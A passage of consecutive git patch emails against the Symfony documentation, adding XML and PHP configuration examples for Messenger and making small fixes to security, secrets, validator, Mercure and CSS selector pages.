+                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority">
+                        <framework:retry-strategy max-retries="3" delay="1000" multiplier="2" max-delay="0"/>
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'transports' => [
+                    'async_priority_high' => [
+                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
+
+                        // default configuration
+                        'retry_strategy' => [
+                            'max_retries' => 3,
+                            // milliseconds delay
+                            'delay' => 1000,
+                            // causes the delay to be higher before each retry
+                            // e.g. 1 second delay, 2 seconds, 4 seconds
+                            'multiplier' => 2,
+                            'max_delay' => 0,
+                            // override all of this with a service that
+                            // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
+                            // 'service' => null,
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 
@@ -702,6 +750,46 @@ be discarded. To avoid this happening, you can instead configure a ``failure_tra
 
                     failed: 'doctrine://default?queue_name=failed'
 
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- after retrying, messages will be sent to the "failed" transport -->
+                <framework:messenger failure-transport="failed">
+                    <!-- ... other transports -->
+
+                    <framework:transport name="failed" dsn="doctrine://default?queue_name=failed"/>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                // after retrying, messages will be sent to the "failed" transport
+                'failure_transport' => 'failed',
+
+                'transports' => [
+                    // ... other transports
+
+                    'failed' => [
+                        'dsn' => 'doctrine://default?queue_name=failed',
+                    ],
+                ],
+            ],
+        ]);
+
 In this example, if handling a message fails 3 times (default ``max_retries``),
 it will then be sent to the ``failed`` transport. While you *can* use
 ``messenger:consume failed`` to consume this like a normal transport, you'll
@@ -947,13 +1035,47 @@ holds them in memory during the request, which can be useful for testing.
 For example, if you have an ``async_priority_normal`` transport, you could
 override it in the ``test`` environment to use this transport:
 
-.. code-block:: yaml
+.. configuration-block::
 
-    # config/packages/test/messenger.yaml
-    framework:
-        messenger:
-            transports:
-                async_priority_normal: 'in-memory:///'
+    .. code-block:: yaml
+
+        # config/packages/test/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    async_priority_normal: 'in-memory:///'
+
+    .. code-block:: xml
+
+        <!-- config/packages/test/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="async_priority_normal" dsn="in-memory:///"/>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/test/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'transports' => [
+                    'async_priority_normal' => [
+                        'dsn' => 'in-memory:///',
+                    ],
+                ],
+            ],
+        ]);
 
 Then, while testing, messages will *not* be delivered to the real transport.
 Even better, in a test, you can check that exactly one message was sent
@@ -1020,6 +1142,52 @@ this globally (or for each transport) to a service that implements
                         dsn: # ...
                         serializer: messenger.transport.symfony_serializer
 
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:serializer default-serializer="messenger.transport.symfony_serializer">
+                        <framework:symfony-serializer format="json">
+                            <framework:context/>
+                        </framework:symfony-serializer>
+                    </framework:serializer>
+
+                    <framework:transport name="async_priority_normal" dsn="..." serializer="messenger.transport.symfony_serializer"/>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'serializer' => [
+                    'default_serializer' => 'messenger.transport.symfony_serializer',
+                    'symfony_serializer' => [
+                        'format' => 'json',
+                        'context' => [],
+                    ],
+                ],
+                'transports' => [
+                    'async_priority_normal' => [
+                        'dsn' => // ...
+                        'serializer' => 'messenger.transport.symfony_serializer',
+                    ],
+                ],
+            ],
+        ]);
+
 The ``messenger.transport.symfony_serializer`` is a built-in service that uses
 the :doc:`Serializer component </serializer>` and can be configured in a few ways.
 If you *do* choose to use the Symfony serializer, you can control the context

From ee0a8bee5c413ab5ae502701bb12c882079a2947 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sat, 29 Feb 2020 13:42:43 +0100
Subject: [PATCH 0433/7107] Replace former SecurityContext argument by
 TokenStorage

---
 components/security/authorization.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 7e3cc1e5874..7290f3bf503 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -237,15 +237,17 @@ which contains request matchers and a corresponding set of attributes that
 are required for the current user to get access to the application::
 
     use Symfony\Component\HttpFoundation\RequestMatcher;
+    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
     use Symfony\Component\Security\Http\AccessMap;
     use Symfony\Component\Security\Http\Firewall\AccessListener;
 
     $accessMap = new AccessMap();
+    $tokenStorage = new TokenStorage();
     $requestMatcher = new RequestMatcher('^/admin');
     $accessMap->add($requestMatcher, ['ROLE_ADMIN']);
 
     $accessListener = new AccessListener(
-        $securityContext,
+        $tokenStorage,
         $accessDecisionManager,
         $accessMap,
         $authenticationManager

From 33b1661fb91102f705f0abc25be8f2ead019f123 Mon Sep 17 00:00:00 2001
From: Sacha Durand <sacha6623@gmail.com>
Date: Sat, 29 Feb 2020 15:52:20 +0100
Subject: [PATCH 0434/7107] Update page_creation.rst with Response return

---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index 4711685ae3d..43d06a5808c 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -52,7 +52,7 @@ random) number and prints it. To do that, create a "Controller" class and a
 
     class LuckyController
     {
-        public function number()
+        public function number(): Response
         {
             $number = random_int(0, 100);
 

From 694a911facd8c503683b6462a000fafd2ee69deb Mon Sep 17 00:00:00 2001
From: Lucas Nothnagel <lucas.nothnagel@sensiolabs.de>
Date: Sun, 1 Mar 2020 17:23:01 +0100
Subject: [PATCH 0435/7107] Change wording 'in' to 'via'

---
 reference/constraints/UniqueEntity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 1f089f2529a..3a7f3cbd007 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -147,7 +147,7 @@ each with a single field.
 
 The message that's displayed when this constraint fails. This message is by default
 mapped to the first field causing the violation. When using multiple fields
-in the constraint, the mapping can be specified in the `errorPath`_ property.
+in the constraint, the mapping can be specified via the `errorPath`_ property.
 
 Messages can include the ``{{ value }}`` placeholder to display a string
 representation of the invalid entity. If the entity doesn't define the

From 5dd43f067ec5f29a2273d01f721d5625a07803f9 Mon Sep 17 00:00:00 2001
From: Zmey <amenshchikov@gmail.com>
Date: Mon, 2 Mar 2020 14:30:59 +0300
Subject: [PATCH 0436/7107] Typo fixed on secrets.rst

---
 configuration/secrets.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 81ebe2ae9f3..97ef746578f 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -257,7 +257,7 @@ your secrets during deployment to the "local" vault:
 
     $ php bin/console secrets:decrypt-to-local --force --env=prod
 
-This will put all the decrypted secrets into ``.env.php.local``. After doing this,
+This will put all the decrypted secrets into ``.env.prod.local``. After doing this,
 the decryption key does *not* need to remain on the server.
 
 Rotating Secrets

From 79c291acbc82de9e5bfa55bdb9f7579b4135a4e4 Mon Sep 17 00:00:00 2001
From: Sacha Durand <sacha6623@gmail.com>
Date: Sat, 29 Feb 2020 15:59:22 +0100
Subject: [PATCH 0437/7107] Update http_cache.rst

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 8cf20f5f9b3..4739a9e3a44 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -137,7 +137,7 @@ method::
 
     class CacheKernel extends HttpCache
     {
-        protected function getOptions()
+        protected function getOptions(): Array
         {
             return [
                 'default_ttl' => 0,

From 70a8e908efe304762203642dc2f0f56d70b75063 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 2 Mar 2020 12:56:02 +0100
Subject: [PATCH 0438/7107] minor

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 4739a9e3a44..4508592c7ec 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -137,7 +137,7 @@ method::
 
     class CacheKernel extends HttpCache
     {
-        protected function getOptions(): Array
+        protected function getOptions(): array
         {
             return [
                 'default_ttl' => 0,

From d7d6c17baaf709cf06e55a97dbef00193e1b2ab6 Mon Sep 17 00:00:00 2001
From: Laurens Laman <laurens.laman@llaman.nl>
Date: Mon, 2 Mar 2020 11:52:39 +0100
Subject: [PATCH 0439/7107] Fix small linguistic error

---
 security/impersonating_user.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 338f377d0b8..634052722a5 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -197,8 +197,8 @@ Limiting User Switching
 
 If you need more control over user switching, you can use a security voter. First,
 configure ``switch_user`` to check for some new, custom attribute. This can be
-anything, but *cannot* start with ``ROLE_`` (to enforce that only your voter will)
-be called:
+anything, but *cannot* start with ``ROLE_`` (to enforce that only your voter will 
+be called):
 
 .. configuration-block::
 

From 3c70acf2df55654bb18501ba13343f10de323a66 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Wed, 26 Feb 2020 21:28:24 +0100
Subject: [PATCH 0440/7107] =?UTF-8?q?A=20locale=20in=20this=20context=20is?=
 =?UTF-8?q?=20a=20comination=20of=20a=20language,=20a=20script=20and=20?=
 =?UTF-8?q?=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 components/intl.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 6a6ced12879..3030bf36894 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -210,10 +210,11 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes::
 Locales
 ~~~~~~~
 
-A locale is the combination of a language and a region. For example, "Chinese"
-is the language and ``zh_Hans_MO`` is the locale for "Chinese" (language) +
-"Simplified" (script) + "Macau SAR China" (region). The ``Locales`` class
-provides access to the name of all locales::
+A locale is the combination of a language, a region and some parameters that
+define the interface preferences of the user. For example, "Chinese" is the 
+language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" 
+(script) + "Macau SAR China" (region). The ``Locales`` class provides access to 
+the name of all locales::
 
     use Symfony\Component\Intl\Locales;
 

From eec5a437b34a331199e265ad0bd30724d307b36a Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 2 Mar 2020 22:37:09 +0100
Subject: [PATCH 0441/7107] Remove references to the secret env processors

---
 configuration/secrets.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 97ef746578f..65f59c8ce83 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -115,7 +115,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference by:
         # config/packages/doctrine.yaml
         doctrine:
             dbal:
-                password: '%env(secret:DATABASE_PASSWORD)%'
+                password: '%env(DATABASE_PASSWORD)%'
                 # ...
             # ...
 
@@ -133,7 +133,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference by:
 
             <doctrine:config>
                 <doctrine:dbal
-                    password="%env(secret:DATABASE_PASSWORD)%"
+                    password="%env(DATABASE_PASSWORD)%"
                 />
             </doctrine:config>
 
@@ -144,7 +144,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference by:
         // config/packages/doctrine.php
         $container->loadFromExtension('doctrine', [
             'dbal' => [
-                'password' => '%env(secret:DATABASE_PASSWORD)%',
+                'password' => '%env(DATABASE_PASSWORD)%',
             ]
         ]);
 

From a71fa8086badcc9afaa264e2066963c936826c0e Mon Sep 17 00:00:00 2001
From: SKmedix <skmedixs@gmail.com>
Date: Wed, 26 Feb 2020 01:13:37 +0100
Subject: [PATCH 0442/7107] :alien: Updated links to Bootstrap docs

---
 form/bootstrap4.rst  | 6 +++---
 form/form_themes.rst | 4 ++--
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 201751e080d..e104d560504 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -121,6 +121,6 @@ is a strong connection between the error and its ``<input>``, as required by the
 
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
 .. _`custom forms`: https://getbootstrap.com/docs/4.4/components/forms/#custom-forms
-.. _`custom radio`: https://getbootstrap.com/docs/4.3/components/forms/#radios
-.. _`custom checkbox`: https://getbootstrap.com/docs/4.3/components/forms/#checkboxes
-.. _`switch instead of a checkbox`: https://getbootstrap.com/docs/4.3/components/forms/#switches
+.. _`custom radio`: https://getbootstrap.com/docs/4.4/components/forms/#radios
+.. _`custom checkbox`: https://getbootstrap.com/docs/4.4/components/forms/#checkboxes
+.. _`switch instead of a checkbox`: https://getbootstrap.com/docs/4.4/components/forms/#switches
diff --git a/form/form_themes.rst b/form/form_themes.rst
index b8a20f2bd94..3811b042c28 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -600,8 +600,8 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`bootstrap_3_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_3_horizontal_layout.html.twig
 .. _`bootstrap_4_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_layout.html.twig
 .. _`bootstrap_4_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_horizontal_layout.html.twig
-.. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.3/
-.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.1/
+.. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.4/
+.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
 .. _`Foundation CSS framework`: https://get.foundation/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html

From 66b0ffc20ecdb3be0aa484cc7748701f8dda1459 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Wed, 26 Feb 2020 21:28:24 +0100
Subject: [PATCH 0443/7107] =?UTF-8?q?A=20locale=20in=20this=20context=20is?=
 =?UTF-8?q?=20a=20comination=20of=20a=20language,=20a=20script=20and=20?=
 =?UTF-8?q?=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 components/intl.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index 2b4dd6bbd93..6417489b14e 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -230,10 +230,11 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes::
 Locales
 ~~~~~~~
 
-A locale is the combination of a language and a region. For example, "Chinese"
-is the language and ``zh_Hans_MO`` is the locale for "Chinese" (language) +
-"Simplified" (script) + "Macau SAR China" (region). The ``Locales`` class
-provides access to the name of all locales::
+A locale is the combination of a language, a region and some parameters that
+define the interface preferences of the user. For example, "Chinese" is the 
+language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" 
+(script) + "Macau SAR China" (region). The ``Locales`` class provides access to 
+the name of all locales::
 
     use Symfony\Component\Intl\Locales;
 

From de9d744659fce8cc413f3fe20679d448e0c6e0c6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Feb 2020 17:53:15 +0100
Subject: [PATCH 0444/7107] [Validator] Document the alpha3 option of Language

---
 reference/constraints/Country.rst  | 10 +++++-----
 reference/constraints/Language.rst | 19 ++++++++++++++++++-
 2 files changed, 23 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index c8ba898cd46..744de6dd0fb 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -77,8 +77,6 @@ Basic Usage
 Options
 -------
 
-.. include:: /reference/constraints/_groups-option.rst.inc
-
 alpha3
 ~~~~~~
 
@@ -88,9 +86,11 @@ alpha3
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is ``true``, then the constraint will valid the value as
-`ISO 3166-1 alpha-3`_ three-letter codes (e.g. France = ``FRA``) instead
-of the default `ISO 3166-1 alpha-2`_ two-letter codes (e.g. France = ``FR``).
+If this option is ``true``, the constraint checks that the value is a
+`ISO 3166-1 alpha-3`_ three-letter code (e.g. France = ``FRA``) instead
+of the default `ISO 3166-1 alpha-2`_ two-letter code (e.g. France = ``FR``).
+
+.. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``
 ~~~~~~~~~~~
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 70d1e2e51cc..7d58491c416 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -6,7 +6,8 @@ Validates that a value is a valid language *Unicode language identifier*
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
+Options     - `alpha3`_
+            - `groups`_
             - `message`_
             - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Language`
@@ -77,6 +78,19 @@ Basic Usage
 Options
 -------
 
+alpha3
+~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``alpha3`` option was introduced in Symfony 5.1.
+
+**type**: ``boolean`` **default**: ``false``
+
+If this option is ``true``, the constraint checks that the value is a
+`ISO 639-2`_ three-letter code (e.g. French = ``fra``) instead of the default
+`ISO 639-1`_ two-letter code (e.g. French = ``fr``).
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``
@@ -95,3 +109,6 @@ Parameter        Description
 ===============  ==============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
+.. _`ISO 639-2`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes

From 3c23d1d81a7ad8782eb54e2e26364fc6bb0ba431 Mon Sep 17 00:00:00 2001
From: Myystigri <dorian.walck@gmail.com>
Date: Thu, 27 Feb 2020 17:28:37 +0100
Subject: [PATCH 0445/7107] Update deprecated methods

---
 mercure.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 6d954d5e881..1f4034daa5c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -398,6 +398,7 @@ And here is the controller::
 
     use Lcobucci\JWT\Builder;
     use Lcobucci\JWT\Signer\Hmac\Sha256;
+    use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
@@ -413,9 +414,8 @@ And here is the controller::
             $username = $this->getUser()->getUsername(); // Retrieve the username of the current user
             $token = (new Builder())
                 // set other appropriate JWT claims, such as an expiration date
-                ->set('mercure', ['subscribe' => ["http://example.com/user/$username"]]) // could also include the security roles, or anything else
-                ->sign(new Sha256(), $this->getParameter('mercure_secret_key')) // don't forget to set this parameter! Test value: aVerySecretKey
-                ->getToken();
+                ->withClaim('mercure', ['subscribe' => ["http://example.com/user/$username"]]) // could also include the security roles, or anything else
+                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: aVerySecretKey
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
             $response->headers->set(

From 2200906e8591d8918cdc976399929d12b8afbc34 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Tue, 3 Mar 2020 15:34:52 +0100
Subject: [PATCH 0446/7107] Update configuration.rst

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index acd1c2c3f56..61fb9d42cf0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -833,7 +833,7 @@ part of Symfony individually by following the guides. Check out:
 * :doc:`/doctrine`
 * :doc:`/service_container`
 * :doc:`/security`
-* :doc:`/email`
+* :doc:`/mailer`
 * :doc:`/logging`
 
 And all the other topics related to configuration:

From ff267f6a23f7527b604043b648df2f6b3602fdf1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Mar 2020 08:54:27 +0100
Subject: [PATCH 0447/7107] Typo

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index dc40f485d60..5a52219ecd4 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -458,7 +458,7 @@ This means that each event has access to the following information:
     Returns a metadata.
 
 For Guard Events, there is an extended :class:`Symfony\\Component\\Workflow\\Event\\GuardEvent` class.
-This class has two more methods:
+This class has these additonal methods:
 
 :method:`Symfony\\Component\\Workflow\\Event\\GuardEvent::isBlocked`
     Returns if transition is blocked.

From fc5ee33c96365f6c43a0c051e008414e8a67cb7a Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 4 Mar 2020 11:49:49 +0100
Subject: [PATCH 0448/7107] Remove webserver bundle usage

---
 contributing/code/reproducer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/contributing/code/reproducer.rst b/contributing/code/reproducer.rst
index 771bd69eeac..6efae2a8ee8 100644
--- a/contributing/code/reproducer.rst
+++ b/contributing/code/reproducer.rst
@@ -65,8 +65,9 @@ to a route definition. Then, after creating your project:
    of controllers, actions, etc. as in your original application.
 #. Create a small controller and add your routing definition that shows the bug.
 #. Don't create or modify any other file.
-#. Execute ``composer require symfony/web-server-bundle`` and use the ``server:run``
-   command to browse to the new route and see if the bug appears or not.
+#. Install the :doc:`local web server </setup/symfony_server>` provided by Symfony
+   and use the ``symfony server:start`` command to browse to the new route and
+   see if the bug appears or not.
 #. If you can see the bug, you're done and you can already share the code with us.
 #. If you can't see the bug, you must keep making small changes. For example, if
    your original route was defined using XML, forget about the previous route

From 6ab0fdde99f67cde4011ecdd3cf47f9460676d7a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 4 Mar 2020 17:34:23 +0100
Subject: [PATCH 0449/7107] [DI] Improve an example about automatic tags and
 bundles

---
 service_container/tags.rst | 21 +++++++++++++++++++--
 1 file changed, 19 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8fbd7d5671c..ff56d90c73f 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -117,8 +117,9 @@ If you want to apply tags automatically for your own services, use the
 
 
 For more advanced needs, you can define the automatic tags using the
-:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerForAutoconfiguration`
-method in an :doc:`extension </bundles/extension>` or from your kernel::
+:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerForAutoconfiguration` method.
+
+In a Symfony application, call this method in your kernel class::
 
     // src/Kernel.php
     class Kernel extends BaseKernel
@@ -133,6 +134,22 @@ method in an :doc:`extension </bundles/extension>` or from your kernel::
         }
     }
 
+In a Symfony bundle, call this method in the ``load()`` method of the
+:doc:`bundle extension class </bundles/extension>`::
+
+    // src/DependencyInjection/MyBundleExtension.php
+    class MyBundleExtension extends Extension
+    {
+        // ...
+
+        public function load(array $configs, ContainerBuilder $container)
+        {
+            $container->registerForAutoconfiguration(CustomInterface::class)
+                ->addTag('app.custom_tag')
+            ;
+        }
+    }
+
 Creating custom Tags
 --------------------
 

From f39b3b91373f5745c28d2c3cd56c2c13997b0c7b Mon Sep 17 00:00:00 2001
From: Yohann Durand <yohanndurand76@gmail.com>
Date: Thu, 5 Mar 2020 02:31:28 +0100
Subject: [PATCH 0450/7107] add link ( Xpath ) for css_selector.rst

formating imrove
---
 components/css_selector.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index 333a61c2326..1f08e8f1d97 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -29,7 +29,7 @@ Why to Use CSS selectors?
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When you're parsing an HTML or an XML document, by far the most powerful
-method is XPath.
+method is `Xpath`_.
 
 XPath expressions are incredibly flexible, so there is almost always an
 XPath expression that will find the element you need. Unfortunately, they
@@ -77,7 +77,7 @@ You can use this expression with, for instance, :phpclass:`DOMXPath` or
 Limitations of the CssSelector Component
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Not all CSS selectors can be converted to XPath equivalents.
+Not all CSS selectors can be converted to `Xpath`_ equivalents.
 
 There are several CSS selectors that only make sense in the context of a
 web-browser.
@@ -102,3 +102,5 @@ Learn more
 
 * :doc:`/testing`
 * :doc:`/components/dom_crawler`
+
+.. _`Xpath`: https://en.wikipedia.org/wiki/XPath

From f11700485904743af26cd2259b97aaff87d716db Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 5 Mar 2020 08:45:40 +0100
Subject: [PATCH 0451/7107] minor. refs #13307

---
 components/css_selector.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index 1f08e8f1d97..e1233275c96 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -5,7 +5,7 @@
 The CssSelector Component
 =========================
 
-    The CssSelector component converts CSS selectors to XPath expressions.
+    The CssSelector component converts CSS selectors to `XPath`_ expressions.
 
 Installation
 ------------
@@ -29,7 +29,7 @@ Why to Use CSS selectors?
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When you're parsing an HTML or an XML document, by far the most powerful
-method is `Xpath`_.
+method is `XPath`_.
 
 XPath expressions are incredibly flexible, so there is almost always an
 XPath expression that will find the element you need. Unfortunately, they
@@ -77,7 +77,7 @@ You can use this expression with, for instance, :phpclass:`DOMXPath` or
 Limitations of the CssSelector Component
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Not all CSS selectors can be converted to `Xpath`_ equivalents.
+Not all CSS selectors can be converted to `XPath`_ equivalents.
 
 There are several CSS selectors that only make sense in the context of a
 web-browser.
@@ -103,4 +103,4 @@ Learn more
 * :doc:`/testing`
 * :doc:`/components/dom_crawler`
 
-.. _`Xpath`: https://en.wikipedia.org/wiki/XPath
+.. _`XPath`: https://en.wikipedia.org/wiki/XPath

From 15cadbe771174a807baba3b1c08fc32523c15327 Mon Sep 17 00:00:00 2001
From: Quentin Boulard <13538858+blackmorth@users.noreply.github.com>
Date: Thu, 5 Mar 2020 12:08:06 +0100
Subject: [PATCH 0452/7107] Update links to avoid 404

I updated version of different links to avoid 404's
---
 setup/flex.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

